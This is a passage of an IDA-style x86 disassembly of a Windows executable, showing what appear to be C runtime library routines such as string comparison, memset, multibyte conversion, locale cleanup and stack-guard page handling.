		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41ACBB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41AC8D
		test	al, al
		jns	short loc_41ACBB
		test	al, 2
		jnz	short loc_41ACBB


loc_41AC8D:				; CODE XREF: sub_41AC6F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41AC9A
		push	esi
		call	sub_41AA0C
		pop	ecx


loc_41AC9A:				; CODE XREF: sub_41AC6F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41ACAA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41ACBB
		inc	eax
		mov	[esi], eax


loc_41ACAA:				; CODE XREF: sub_41AC6F+30j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
		jz	short loc_41ACC1
		cmp	[eax], bl
		jz	short loc_41ACC3
		inc	eax
		mov	[esi], eax


loc_41ACBB:				; CODE XREF: sub_41AC6F+9j
					; sub_41AC6F+18j ...
		or	eax, 0FFFFFFFFh


loc_41ACBE:				; CODE XREF: sub_41AC6F+6Aj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41ACC1:				; CODE XREF: sub_41AC6F+43j
		mov	[eax], bl


loc_41ACC3:				; CODE XREF: sub_41AC6F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41ACBE
sub_41AC6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACDB	proc near		; CODE XREF: sub_41AD9B+22p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_41ACFF
		cmp	[ebp+arg_C], ebx
		jz	short loc_41ACFF
		mov	al, [edi]
		cmp	al, bl
		jnz	short loc_41AD06
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		jz	short loc_41ACFF
		mov	[eax], bx


loc_41ACFF:				; CODE XREF: sub_41ACDB+Dj
					; sub_41ACDB+12j ...
		xor	eax, eax


loc_41AD01:				; CODE XREF: sub_41ACDB+44j
					; sub_41ACDB+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AD06:				; CODE XREF: sub_41ACDB+18j
		mov	esi, [ebp+arg_0]
		cmp	[esi+14h], ebx
		jnz	short loc_41AD21
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		jz	short loc_41AD1C
		movzx	ax, al
		mov	[ecx], ax


loc_41AD1C:				; CODE XREF: sub_41ACDB+38j
					; sub_41ACDB+ABj
		xor	eax, eax
		inc	eax
		jmp	short loc_41AD01
; ---------------------------------------------------------------------------


loc_41AD21:				; CODE XREF: sub_41ACDB+31j
		mov	ecx, [esi+48h]
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41AD6A
		mov	eax, [esi+28h]
		cmp	eax, 1
		jle	short loc_41AD58
		cmp	[ebp+arg_C], eax
		jl	short loc_41AD58
		xor	ecx, ecx
		cmp	[ebp+arg_4], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41AD65


loc_41AD58:				; CODE XREF: sub_41ACDB+59j
					; sub_41ACDB+5Ej
		mov	eax, [ebp+arg_C]
		cmp	eax, [esi+28h]
		jb	short loc_41AD88
		cmp	[edi+1], bl
		jz	short loc_41AD88


loc_41AD65:				; CODE XREF: sub_41ACDB+7Bj
		mov	eax, [esi+28h]
		jmp	short loc_41AD01
; ---------------------------------------------------------------------------


loc_41AD6A:				; CODE XREF: sub_41ACDB+51j
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		push	eax
		push	[ebp+arg_4]
		push	1
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41AD1C


loc_41AD88:				; CODE XREF: sub_41ACDB+83j
					; sub_41ACDB+88j
		call	sub_417C70
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_41AD01
sub_41ACDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD9B	proc near		; CODE XREF: sub_41554C+68Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41ADB0
		call	sub_41628E


loc_41ADB0:				; CODE XREF: sub_41AD9B+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_41ACDB
		add	esp, 10h
		retn
sub_41AD9B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41ADD0	proc near		; CODE XREF: sub_41554C+512p
					; sub_418035+8Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41AE2B
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41AE1B
		neg	ecx
		and	ecx, 3
		jz	short loc_41ADFD
		sub	edx, ecx


loc_41ADF3:				; CODE XREF: sub_41ADD0+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_41ADF3


loc_41ADFD:				; CODE XREF: sub_41ADD0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41AE1B
		rep stosd
		test	edx, edx
		jz	short loc_41AE25


loc_41AE1B:				; CODE XREF: sub_41ADD0+18j
					; sub_41ADD0+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_41AE1B


loc_41AE25:				; CODE XREF: sub_41ADD0+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41AE2B:				; CODE XREF: sub_41ADD0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41ADD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE30	proc near		; CODE XREF: sub_41554C+4DCp
					; sub_4182E4+FDp ...

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_412DD0
		mov	ebx, esp
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_41F1B8	; VirtualQuery
		test	eax, eax
		jz	short loc_41AEC5
		mov	edi, [ebp+var_20]
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_41F1B4	; GetSystemInfo
		mov	eax, [ebp+var_44]
		lea	esi, [eax-1]
		not	esi
		and	esi, ebx
		sub	esi, eax
		mov	[ebp+var_4], eax
		mov	eax, dword_479E5C
		mov	ecx, eax
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFF1000h
		add	ecx, 11000h
		add	ecx, edi
		cmp	esi, ecx
		jb	short loc_41AEC5
		cmp	eax, 1
		jz	short loc_41AEDD
		mov	ebx, edi
		mov	edi, 1000h


loc_41AE9A:				; CODE XREF: sub_41AE30+81j
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_41F1B8	; VirtualQuery
		test	eax, eax
		jz	short loc_41AEC5
		add	ebx, [ebp+var_18]
		test	[ebp+var_14], edi
		jz	short loc_41AE9A
		test	[ebp+var_F], 1
		mov	ebx, [ebp+var_24]
		jz	short loc_41AEC1
		xor	eax, eax
		inc	eax
		jmp	short loc_41AEF9
; ---------------------------------------------------------------------------


loc_41AEC1:				; CODE XREF: sub_41AE30+8Aj
		cmp	esi, ebx
		jnb	short loc_41AEC9


loc_41AEC5:				; CODE XREF: sub_41AE30+22j
					; sub_41AE30+5Cj ...
		xor	eax, eax
		jmp	short loc_41AEF9
; ---------------------------------------------------------------------------


loc_41AEC9:				; CODE XREF: sub_41AE30+93j
		push	4
		push	edi
		push	[ebp+var_4]
		push	ebx
		call	ds:dword_41F174	; VirtualAlloc
		mov	eax, dword_479E5C
		jmp	short loc_41AEDF
; ---------------------------------------------------------------------------


loc_41AEDD:				; CODE XREF: sub_41AE30+61j
		mov	ebx, esi


loc_41AEDF:				; CODE XREF: sub_41AE30+ABj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_8]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	ebx
		call	ds:dword_41F1B0	; VirtualProtect


loc_41AEF9:				; CODE XREF: sub_41AE30+8Fj
					; sub_41AE30+97j
		lea	esp, [ebp-54h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AE30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF01	proc near		; CODE XREF: sub_41608B+60p
					; sub_4190C6+A4p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	1Ch
		push	offset stru_428408
		call	__SEH_prolog
		xor	esi, esi
		cmp	dword_47A13C, esi
		jnz	short loc_41AF4C
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_427ECC
		push	edi
		call	ds:dword_41F1C0	; GetStringTypeW
		test	eax, eax
		jz	short loc_41AF37
		mov	dword_47A13C, edi
		jmp	short loc_41AF4C
; ---------------------------------------------------------------------------


loc_41AF37:				; CODE XREF: sub_41AF01+2Cj
		call	ds:dword_41F008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41AF4C
		mov	dword_47A13C, 2


loc_41AF4C:				; CODE XREF: sub_41AF01+14j
					; sub_41AF01+34j ...
		mov	eax, dword_47A13C
		cmp	eax, 2
		jz	loc_41B044
		cmp	eax, esi
		jz	loc_41B044
		cmp	eax, 1
		jnz	loc_41B06A
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		cmp	[ebp+arg_10], esi
		jnz	short loc_41AF7E
		mov	eax, dword_47A188
		mov	[ebp+arg_10], eax


loc_41AF7E:				; CODE XREF: sub_41AF01+73j
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		xor	eax, eax
		cmp	[ebp+arg_18], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	loc_41B06A
		and	[ebp+ms_exc.disabled], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		mov	[ebp+var_2C], esi
		push	ebx
		push	0
		push	esi
		call	sub_41ADD0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41AFEF
; ---------------------------------------------------------------------------


loc_41AFDA:				; DATA XREF: .rdata:stru_428408o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41AFDE:				; DATA XREF: .rdata:stru_428408o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	esi, esi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]


loc_41AFEF:				; CODE XREF: sub_41AF01+D7j
		test	esi, esi
		jnz	short loc_41B00A
		push	edi
		push	2
		call	sub_41AB01
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_41B06A
		mov	[ebp+var_24], 1


loc_41B00A:				; CODE XREF: sub_41AF01+F0j
		push	edi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41B032
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_41F1C0	; GetStringTypeW
		mov	[ebp+var_20], eax


loc_41B032:				; CODE XREF: sub_41AF01+11Ej
		cmp	[ebp+var_24], 0
		jz	short loc_41B03F
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B03F:				; CODE XREF: sub_41AF01+135j
		mov	eax, [ebp+var_20]
		jmp	short loc_41B0B2
; ---------------------------------------------------------------------------


loc_41B044:				; CODE XREF: sub_41AF01+53j
					; sub_41AF01+5Bj
		mov	ebx, [ebp+arg_14]
		cmp	ebx, esi
		jnz	short loc_41B051
		mov	ebx, dword_47A178


loc_41B051:				; CODE XREF: sub_41AF01+148j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_41B05E
		mov	edi, dword_47A188


loc_41B05E:				; CODE XREF: sub_41AF01+155j
		push	ebx
		call	sub_41CB47
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B06E


loc_41B06A:				; CODE XREF: sub_41AF01+64j
					; sub_41AF01+A5j ...
		xor	eax, eax
		jmp	short loc_41B0B2
; ---------------------------------------------------------------------------


loc_41B06E:				; CODE XREF: sub_41AF01+167j
		cmp	eax, edi
		jz	short loc_41B090
		push	0
		push	0
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		call	sub_41CB90
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41B06A
		mov	[ebp+arg_4], esi


loc_41B090:				; CODE XREF: sub_41AF01+16Fj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	ds:dword_41F1BC	; GetStringTypeA
		mov	edi, eax
		test	esi, esi
		jz	short loc_41B0B0
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B0B0:				; CODE XREF: sub_41AF01+1A6j
		mov	eax, edi


loc_41B0B2:				; CODE XREF: sub_41AF01+141j
					; sub_41AF01+16Bj
		lea	esp, [ebp-38h]
		call	__SEH_epilog
		retn
sub_41AF01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0BB	proc near		; CODE XREF: sub_416102+B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41B249
		push	dword ptr [esi+4]
		call	sub_412FE4
		push	dword ptr [esi+8]
		call	sub_412FE4
		push	dword ptr [esi+0Ch]
		call	sub_412FE4
		push	dword ptr [esi+10h]
		call	sub_412FE4
		push	dword ptr [esi+14h]
		call	sub_412FE4
		push	dword ptr [esi+18h]
		call	sub_412FE4
		push	dword ptr [esi]
		call	sub_412FE4
		push	dword ptr [esi+20h]
		call	sub_412FE4
		push	dword ptr [esi+24h]
		call	sub_412FE4
		push	dword ptr [esi+28h]
		call	sub_412FE4
		push	dword ptr [esi+2Ch]
		call	sub_412FE4
		push	dword ptr [esi+30h]
		call	sub_412FE4
		push	dword ptr [esi+34h]
		call	sub_412FE4
		push	dword ptr [esi+1Ch]
		call	sub_412FE4
		push	dword ptr [esi+38h]
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_412FE4
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_412FE4
		push	dword ptr [esi+44h]
		call	sub_412FE4
		push	dword ptr [esi+48h]
		call	sub_412FE4
		push	dword ptr [esi+4Ch]
		call	sub_412FE4
		push	dword ptr [esi+50h]
		call	sub_412FE4
		push	dword ptr [esi+54h]
		call	sub_412FE4
		push	dword ptr [esi+58h]
		call	sub_412FE4
		push	dword ptr [esi+5Ch]
		call	sub_412FE4
		push	dword ptr [esi+60h]
		call	sub_412FE4
		push	dword ptr [esi+64h]
		call	sub_412FE4
		push	dword ptr [esi+68h]
		call	sub_412FE4
		push	dword ptr [esi+6Ch]
		call	sub_412FE4
		push	dword ptr [esi+70h]
		call	sub_412FE4
		push	dword ptr [esi+74h]
		call	sub_412FE4
		push	dword ptr [esi+78h]
		call	sub_412FE4
		push	dword ptr [esi+7Ch]
		call	sub_412FE4
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_412FE4
		push	dword ptr [esi+84h]
		call	sub_412FE4
		push	dword ptr [esi+88h]
		call	sub_412FE4
		push	dword ptr [esi+8Ch]
		call	sub_412FE4
		push	dword ptr [esi+90h]
		call	sub_412FE4
		push	dword ptr [esi+94h]
		call	sub_412FE4
		push	dword ptr [esi+98h]
		call	sub_412FE4
		push	dword ptr [esi+9Ch]
		call	sub_412FE4
		push	dword ptr [esi+0A0h]
		call	sub_412FE4
		push	dword ptr [esi+0A4h]
		call	sub_412FE4
		push	dword ptr [esi+0A8h]
		call	sub_412FE4
		add	esp, 2Ch


loc_41B249:				; CODE XREF: sub_41B0BB+7j
		pop	esi
		retn
sub_41B0BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B24B	proc near		; CODE XREF: sub_416102+5Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41B2A8
		mov	eax, [esi]
		mov	ecx, off_42D194
		cmp	eax, [ecx]
		jz	short loc_41B26F
		cmp	eax, off_42D164
		jz	short loc_41B26F
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B26F:				; CODE XREF: sub_41B24B+13j
					; sub_41B24B+1Bj
		mov	eax, [esi+4]
		mov	ecx, off_42D194
		cmp	eax, [ecx+4]
		jz	short loc_41B28C
		cmp	eax, off_42D168
		jz	short loc_41B28C
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B28C:				; CODE XREF: sub_41B24B+30j
					; sub_41B24B+38j
		mov	esi, [esi+8]
		mov	eax, off_42D194
		cmp	esi, [eax+8]
		jz	short loc_41B2A8
		cmp	esi, off_42D16C
		jz	short loc_41B2A8
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B2A8:				; CODE XREF: sub_41B24B+7j
					; sub_41B24B+4Cj ...
		pop	esi
		retn
sub_41B24B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2AA	proc near		; CODE XREF: sub_416102+3Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41B381
		mov	eax, [esi+0Ch]
		mov	ecx, off_42D194
		cmp	eax, [ecx+0Ch]
		jz	short loc_41B2D4
		cmp	eax, off_42D170
		jz	short loc_41B2D4
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B2D4:				; CODE XREF: sub_41B2AA+19j
					; sub_41B2AA+21j
		mov	eax, [esi+10h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+10h]
		jz	short loc_41B2F1
		cmp	eax, off_42D174
		jz	short loc_41B2F1
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B2F1:				; CODE XREF: sub_41B2AA+36j
					; sub_41B2AA+3Ej
		mov	eax, [esi+14h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+14h]
		jz	short loc_41B30E
		cmp	eax, off_42D178
		jz	short loc_41B30E
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B30E:				; CODE XREF: sub_41B2AA+53j
					; sub_41B2AA+5Bj
		mov	eax, [esi+18h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+18h]
		jz	short loc_41B32B
		cmp	eax, off_42D17C
		jz	short loc_41B32B
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B32B:				; CODE XREF: sub_41B2AA+70j
					; sub_41B2AA+78j
		mov	eax, [esi+1Ch]
		mov	ecx, off_42D194
		cmp	eax, [ecx+1Ch]
		jz	short loc_41B348
		cmp	eax, off_42D180
		jz	short loc_41B348
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B348:				; CODE XREF: sub_41B2AA+8Dj
					; sub_41B2AA+95j
		mov	eax, [esi+20h]
		mov	ecx, off_42D194
		cmp	eax, [ecx+20h]
		jz	short loc_41B365
		cmp	eax, off_42D184
		jz	short loc_41B365
		push	eax
		call	sub_412FE4
		pop	ecx


loc_41B365:				; CODE XREF: sub_41B2AA+AAj
					; sub_41B2AA+B2j
		mov	esi, [esi+24h]
		mov	eax, off_42D194
		cmp	esi, [eax+24h]
		jz	short loc_41B381
		cmp	esi, off_42D188
		jz	short loc_41B381
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B381:				; CODE XREF: sub_41B2AA+7j
					; sub_41B2AA+C6j ...
		pop	esi
		retn
sub_41B2AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B390	proc near		; CODE XREF: sub_417F13+60p
					; sub_419E4A+8Fp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41B405
sub_41B390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B3A0	proc near		; CODE XREF: sub_419E4A+10Bp
					; sub_419E4A+116p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41B3C0


loc_41B3AD:				; CODE XREF: sub_41B3A0+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_41B3F3
		test	ecx, 3
		jnz	short loc_41B3AD
		mov	edi, edi


loc_41B3C0:				; CODE XREF: sub_41B3A0+Bj
					; sub_41B3A0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B3C0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B402
		test	ah, ah
		jz	short loc_41B3FD
		test	eax, 0FF0000h
		jz	short loc_41B3F8
		test	eax, 0FF000000h
		jz	short loc_41B3F3
		jmp	short loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B3F3:				; CODE XREF: sub_41B3A0+14j
					; sub_41B3A0+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_41B405
; ---------------------------------------------------------------------------


loc_41B3F8:				; CODE XREF: sub_41B3A0+48j
		lea	edi, [ecx-2]
		jmp	short loc_41B405
; ---------------------------------------------------------------------------


loc_41B3FD:				; CODE XREF: sub_41B3A0+41j
		lea	edi, [ecx-3]
		jmp	short loc_41B405
; ---------------------------------------------------------------------------


loc_41B402:				; CODE XREF: sub_41B3A0+3Dj
		lea	edi, [ecx-4]


loc_41B405:				; CODE XREF: sub_41B390+5j
					; sub_41B3A0+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41B42E


loc_41B411:				; CODE XREF: sub_41B3A0+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_41B480
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_41B411
		jmp	short loc_41B42E
; ---------------------------------------------------------------------------


loc_41B429:				; CODE XREF: sub_41B3A0+A6j
					; sub_41B3A0+C0j
		mov	[edi], edx
		add	edi, 4


loc_41B42E:				; CODE XREF: sub_41B3A0+6Fj
					; sub_41B3A0+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B429
		test	dl, dl
		jz	short loc_41B480
		test	dh, dh
		jz	short loc_41B477
		test	edx, 0FF0000h
		jz	short loc_41B46A
		test	edx, 0FF000000h
		jz	short loc_41B462
		jmp	short loc_41B429
; ---------------------------------------------------------------------------


loc_41B462:				; CODE XREF: sub_41B3A0+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B46A:				; CODE XREF: sub_41B3A0+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B477:				; CODE XREF: sub_41B3A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B480:				; CODE XREF: sub_41B3A0+78j
					; sub_41B3A0+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41B3A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_41B4A4:				; CODE XREF: .text:0041B4B1j
		mov	al, [edx]
		or	al, al
		jz	short loc_41B4B3
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_41B4A4
; ---------------------------------------------------------------------------


loc_41B4B3:				; CODE XREF: .text:0041B4A8j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]


loc_41B4BC:				; CODE XREF: .text:0041B4CCj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_41B4CE
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41B4BC


loc_41B4CE:				; CODE XREF: .text:0041B4C3j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B4E0	proc near		; CODE XREF: sub_4186A0+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41B52C


loc_41B4F0:				; CODE XREF: sub_41B4E0+3Cj
					; sub_41B4E0+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41B524
		or	al, al
		jz	short loc_41B520
		cmp	ah, [ecx+1]
		jnz	short loc_41B524
		or	ah, ah
		jz	short loc_41B520
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41B524
		or	al, al
		jz	short loc_41B520
		cmp	ah, [ecx+3]
		jnz	short loc_41B524
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41B4F0
		mov	edi, edi


loc_41B520:				; CODE XREF: sub_41B4E0+18j
					; sub_41B4E0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41B524:				; CODE XREF: sub_41B4E0+14j
					; sub_41B4E0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_41B52C:				; CODE XREF: sub_41B4E0+Ej
		test	edx, 1
		jz	short loc_41B54C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_41B524
		add	ecx, 1
		or	al, al
		jz	short loc_41B520
		test	edx, 2
		jz	short loc_41B4F0


loc_41B54C:				; CODE XREF: sub_41B4E0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41B524
		or	al, al
		jz	short loc_41B520
		cmp	ah, [ecx+1]
		jnz	short loc_41B524
		or	ah, ah
		jz	short loc_41B520
		add	ecx, 2
		jmp	short loc_41B4F0
sub_41B4E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41B5C2
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41B5C3
		test	eax, 1
		jz	short loc_41B5A3
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41B5F0
		add	esi, 1
		add	edi, 1
		sub	eax, 1
		jz	short loc_41B5C0


loc_41B5A3:				; CODE XREF: .text:0041B590j
					; .text:0041B5BEj
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41B5F0
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41B5F0
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41B5A3


loc_41B5C0:				; CODE XREF: .text:0041B5A1j
					; .text:0041B5FAj
		pop	edi
		pop	esi

locret_41B5C2:				; CODE XREF: .text:0041B576j
		retn
; ---------------------------------------------------------------------------


loc_41B5C3:				; CODE XREF: .text:0041B589j
		mov	ecx, eax
		and	eax, 3
